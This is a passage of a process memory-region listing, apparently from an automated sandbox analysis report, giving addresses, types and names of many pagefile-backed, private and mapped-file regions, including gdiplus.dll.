"pagefile_0x000000001bb40000" filename = "" Region: id = 8113 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8116 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 8117 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8118 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8119 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8120 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8121 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8122 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8123 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8124 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8125 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8126 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8127 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8128 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8129 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 8130 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 8131 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 8132 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 8133 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 8134 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 8135 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 8136 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 8137 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 8138 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 8139 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 8140 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 8141 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 8142 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 8143 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 8144 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 8145 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 8146 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 8147 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 8148 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 8150 start_va = 0x7ffa74030000 end_va = 0x7ffa741d8fff monitored = 0 entry_point = 0x7ffa74084060 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10586.0_none_0bdd1d3064f6384a\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10586.0_none_0bdd1d3064f6384a\\gdiplus.dll") Region: id = 8151 start_va = 0x1bb40000 end_va = 0x1bb7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 8152 start_va = 0x1e3e0000 end_va = 0x1e4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e3e0000" filename = "" Region: id = 8153 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 8154 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 8155 start_va = 0x1bb70000 end_va = 0x1bb7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb70000" filename = "" Region: id = 8156 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 8157 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 8158 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 8159 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 8160 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 8161 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 8162 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 8163 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 8164 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 8165 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 8166 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 8167 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 8168 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 8169 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 8170 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 8172 start_va = 0x1ba00000 end_va = 0x1ba00fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 8173 start_va = 0x1e4e0000 end_va = 0x1e9d1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e4e0000" filename = "" Region: id = 8174 start_va = 0x1ba10000 end_va = 0x1ba36fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8175 start_va = 0x1ba10000 end_va = 0x1ba36fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8176 start_va = 0x1ba10000 end_va = 0x1ba36fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8177 start_va = 0x1ba10000 end_va = 0x1ba36fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8178 start_va = 0x1ba10000 end_va = 0x1ba36fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8179 start_va = 0x1ba10000 end_va = 0x1ba36fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8180 start_va = 0x1ba10000 end_va = 0x1ba36fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8181 start_va = 0x1ba10000 end_va = 0x1ba36fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8182 start_va = 0x1ba10000 end_va = 0x1ba36fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8183 start_va = 0x1ba10000 end_va = 0x1ba36fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8184 start_va = 0x1ba10000 end_va = 0x1ba36fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8185 start_va = 0x1ba10000 end_va = 0x1ba36fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8186 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8187 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 8188 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8189 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8190 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8191 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8192 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8193 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8194 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8195 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8196 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8197 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8198 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8199 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8200 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8201 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8203 start_va = 0x1ba10000 end_va = 0x1ba36fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8204 start_va = 0x1ba10000 end_va = 0x1ba36fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8205 start_va = 0x1ba10000 end_va = 0x1ba36fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8206 start_va = 0x1ba10000 end_va = 0x1ba36fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8207 start_va = 0x1ba10000 end_va = 0x1ba36fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8208 start_va = 0x1ba10000 end_va = 0x1ba36fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8209 start_va = 0x1ba10000 end_va = 0x1ba36fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8210 start_va = 0x1ba10000 end_va = 0x1ba36fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8211 start_va = 0x1ba10000 end_va = 0x1ba36fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8212 start_va = 0x1ba10000 end_va = 0x1ba36fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8216 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8217 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8220 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8221 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8222 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8223 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba20000" filename = "" Region: id = 8224 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8225 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba30000" filename = "" Region: id = 8226 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8227 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8228 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 8229 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb50000" filename = "" Region: id = 8230 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 8231 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb60000" filename = "" Region: id = 8232 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 8233 start_va = 0x1bb90000 end_va = 0x1bb9ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb90000" filename = "" Region: id = 8234 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 8235 start_va = 0x1d6e0000 end_va = 0x1d6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 8236 start_va = 0x1d6f0000 end_va = 0x1d716fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6f0000" filename = "" Region: id = 8237 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8238 start_va = 0x1d720000 end_va = 0x1d72ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d720000" filename = "" Region: id = 8239 start_va = 0x1d6f0000 end_va = 0x1d716fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6f0000" filename = "" Region: id = 8240 start_va = 0x1d6f0000 end_va = 0x1d6fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6f0000" filename = "" Region: id = 8241 start_va = 0x1d730000 end_va = 0x1d756fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d730000" filename = "" Region: id = 8242 start_va = 0x1d700000 end_va = 0x1d70ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d700000" filename = "" Region: id = 8243 start_va = 0x1d730000 end_va = 0x1d756fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d730000" filename = "" Region: id = 8244 start_va = 0x1d710000 end_va = 0x1d71ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d710000" filename = "" Region: id = 8245 start_va = 0x1d730000 end_va = 0x1d756fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d730000" filename = "" Region: id = 8246 start_va = 0x1d730000 end_va = 0x1d756fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d730000" filename = "" Region: id = 8247 start_va = 0x1d730000 end_va = 0x1d756fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d730000" filename = "" Region: id = 8248 start_va = 0x1d730000 end_va = 0x1d756fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d730000" filename = "" Region: id = 8249 start_va = 0x1ba20000 end_va = 0x1ba3dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 8250 start_va = 0x1e9e0000 end_va = 0x1f1dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001e9e0000" filename = "" Region: id = 8251 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8253 start_va = 0x1bb90000 end_va = 0x1bb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb90000" filename = "" Region: id = 8254 start_va = 0x1d6e0000 end_va = 0x1d6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d6e0000" filename = "" Region: id = 8255 start_va = 0x1f1e0000 end_va = 0x1f2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001f1e0000" filename = "" Region: id = 8256 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8257 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8258 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8259 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8260 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8261 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8262 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8263 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8265 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8266 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8267 start_va = 0x1d6e0000 end_va = 0x1d7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d6e0000" filename = "" Region: id = 8268 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8269 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 8270 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 8271 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8272 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8273 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8274 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8275 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8276 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8277 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8278 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8279 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8281 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 8282 start_va = 0x1bb90000 end_va = 0x1bb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb90000" filename = "" Region: id = 8283 start_va = 0x1bb90000 end_va = 0x1bb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb90000" filename = "" Region: id = 8284 start_va = 0x1d7e0000 end_va = 0x1d7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d7e0000" filename = "" Region: id = 8285 start_va = 0x1d800000 end_va = 0x1d80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d800000" filename = "" Region: id = 8286 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8287 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8288 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8289 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8290 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8291 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8292 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8293 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8294 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8295 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8296 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8297 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8299 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 8300 start_va = 0x1e9e0000 end_va = 0x1eed1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e9e0000" filename = "" Region: id = 8302 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 8303 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name 